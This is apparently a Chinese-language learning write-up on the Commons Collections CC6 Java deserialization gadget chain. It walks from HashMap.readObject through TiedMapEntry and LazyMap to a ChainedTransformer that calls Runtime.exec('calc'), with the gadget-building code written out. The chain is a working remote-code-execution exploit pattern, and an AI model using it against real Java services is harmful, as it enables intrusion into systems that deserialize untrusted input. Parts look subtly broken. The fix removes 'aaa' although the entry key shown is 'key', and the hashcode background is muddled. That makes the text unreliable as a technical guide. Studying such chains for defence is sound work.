java最好用的一条链-CC6
我们在前面的链中说到了,8u71是一个风水岭,因为AnnotationInvocationHandler#readObject的代码逻辑变了,checkValue函数没了,所以我们要重找入口点,最后找到重hash入手,这就是下面我们要介绍的cc6
首先我们先理一下利用逻辑
在AnnotationInvocationHandler之前的部分我们继续使用,也就是说lazymap我们还可以继续用,那就要重新找谁调用了lazymap的get方法,然后我们发现TiedMapEntry类里的getValue里正好调用了map.getValue并且参数我们可控,我们把lazymap传入即可,在往上就是hashMap的readObject中调用了hash(key)方法,而hash方法中又调用了key.hashcode方法,所以我们把让key为TiedMapEntry对象,再让其对象里有lazymap即可
继续看是谁调用了getValue,发现还是这个类中的方法,hashcode
我们先学习一下这个方法,在学习hashcode之前,我们先回顾一下hash
hash是一个函数,该函数中的实现就是一种算法,就是通过一系列的算法来得到一个hash值。这个时候,我们就需要知道另一个东西,hash表,通过hash算法得到的hash值就在这张hash表中,也就是说,hash表就是所有的hash值组成的,有很多种hash函数,也就代表着有很多种算法得到hash值
hashcode就是一个对象在hash表中的位置,他并不等同一个对象的物理地址,是对象的物理地址经过hash算法后才产生的hashcode,
hashcode的作用是为了用来在散列存储结构中确定对象的存储地址的,是为了查找更加方便,以及和equals方法的区别,两个对象的hashcode相等并不一定相等,但equals相等就一定相等
具体可以搜索这类文章
ok,我们回到正题,现在我们应该知道什么方法最可能调用hashcode方法了,那就是hash方法了,官方是找到了HashMap的hash方法
然后又用hashmap的ReadObject调用hash
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> map2 =new HashMap<>();
Map<Object,Object> lazymap =LazyMap.decorate(map2, chainedTransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap, "key");
HashMap<Object,Object> map3 =new HashMap<>();
map3.put(tiedMapEntry,"aaa");
但是上述代码我们在序列化的时候就直接弹计算器了,我们在利用时应该是在反序列化的时候执行命令,要不然在本地命令执行了,(这个想了很长时间也没想明白这个怎么在序列化的时候就执行了,前两条链就没执行,以及对之后利用有什么问题,真是想的头都大了)不过最大的问题是,我们进行序列化反序列化的时候,无法弹出计算器,我们看一下原因:
我们跟进一下,到了lazymap的get方法,containKey(key)方法判断是否有key值,我们下一步
我们发现构造的lazymap里map的key值为aaa,这就很奇怪,我们创建的时候给lazymap的是一个空map,这为什么就有值了呢
问题出在这个函数put
我们看到put里也有这个hash函数,也就是说起点不止一个,put函数先执行hash,在序列化的时候已经执行完了,弹出计算器,但是反序列化的时候,get方法把key又写进去了,从而无法进入if循环,所以我们要把这个key删除(现在想想因为put函数直接执行,上面的疑问好像解决了)
lazymap.remove("aaa");
执行成功